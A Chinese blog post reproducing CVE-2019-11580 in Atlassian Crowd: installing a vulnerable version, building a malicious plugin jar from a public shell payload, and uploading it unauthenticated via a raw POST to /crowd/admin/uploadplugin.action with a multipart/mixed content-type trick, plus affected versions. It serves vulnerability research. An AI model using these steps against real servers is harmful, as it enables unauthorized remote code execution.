Atlassion Crowd未授权代码执行(CVE-2019-11580)

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/caiqiiqi/article/details/96285653

Atlassian Crowd安装

参考:
https://blog.csdn.net/yieryi_/article/details/47724069
https://confluence.atlassian.com/crowd/running-the-setup-wizard-192479.html
https://confluence.atlassian.com/crowd/getting-started-with-crowd-197298051.html
下载地址:
https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
或者
https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.zip
解压之后长这样:
在这里插入图片描述
需要先设置crowd的home地址,这里我设置为
解压

vi crowd-webapp/WEB-INF/classes/crowd-init.properties
# crowd.home=~/crowd-2.11.0

找到设置crowd.home文件的文件(文件名可能有变)
在这里插入图片描述
然后启动Crowd。

./start_crowd.sh

其实启动就是启动tomcat。

$ cat ./start_crowd.sh
#!/bin/sh

cd "`dirname "$0"`"
exec apache-tomcat/bin/startup.sh "$@"

执行启动脚本之后,会生成这些文件:
在这里插入图片描述
需要点击这个Set up Crowd来安装:
在这里插入图片描述
然后去这里:
https://my.atlassian.com/products/index
输入试用的license
然后成功安装。安装完成之后,会在crowd的home目录下安装一堆插件
在这里插入图片描述
尝试上传一下插件:
直接上传这些其中的插件,并没有成功。
在confluence的目录尝试上传一下这个插件,成功了
在这里插入图片描述
上传之后,在这个crowd的home目录下的cache目录生成了对应的 文件。
在这里插入图片描述
但是这个文件明显大于上传的文件。

# 在crowd的home目录生成的文件
➜  crowd-2.11.0 git:(master) ✗ ll caches/transformed-plugins/plugindev-4984681672219520916applinks-plugin-5.4.7_1563347908000.jar
-rw-r--r--  1 caiqiqi  staff    13M  7 17 15:18 caches/transformed-plugins/plugindev-4984681672219520916applinks-plugin-5.4.7_1563347908000.jar
# 被上传的文件
➜  atlassian-bundled-plugins ll applinks-plugin-5.4.7.jar
-rw-r--r--  1 caiqiqi  staff   5.6M  4  9 17:21 applinks-plugin-5.4.7.jar

尝试上传payload

使用https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
的payload,

javac -cp apache-tomcat/lib/servlet-api.jar com/cdl/shell/Cdl.java
zip -r rce.jar atlassian-plugin.xml ./com

然而出现下面的情况:

HTTP Status 400 - Missing plugin file
...
The request sent by the client was syntactically incorrect.

在这里插入图片描述

调试

尝试找这个插件安装在什么地方。
先是在其启动目录(即下载下来直接解压的目录)中,只找到一个license文件
在这里插入图片描述
后来在其安装目录找到了这个插件。
在这里插入图片描述
在IDEA中打开这个安装目录。选择要调试的插件,右键=》Add as Library。
在这里插入图片描述

在这里插入图片描述
实际的payload:

POST /crowd/admin/uploadplugin.action HTTP/1.1
Host: cqq.com:8095
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 5827015
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------28fd643fb0cfb3f4

如果直接GET访问这个url:/crowd/admin/uploadplugin.action,会提示400
在这里插入图片描述
使用curl或者抓包之后修改都行:
在这里插入图片描述
在这里插入图片描述
curl默认的上传文件的content-type为multipart/form-data,可以手动指定content-type为multipart/mixed。原理参考commons-fileupload的jar包调试。
在这里插入图片描述
感谢博哥指点!
源码在https://github.com/apache/commons-fileupload
另外由于在2.x版本中使用的struts2版本较低,存在struts2的OGNL表达式代码执行漏洞
在这里插入图片描述

影响版本

2.1.0 <= version < 3.0.5
3.1.0 <= version < 3.1.6
3.2.0 <= version < 3.2.8
3.3.0 <= version < 3.3.5
3.4.0 <= version < 3.4.4

参考

https://www.jianshu.com/p/be99b57a87cc
https://nvd.nist.gov/vuln/detail/CVE-2019-11580
https://www.corben.io/atlassian-crowd-rce/
https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html

展开阅读全文

没有更多推荐了,返回首页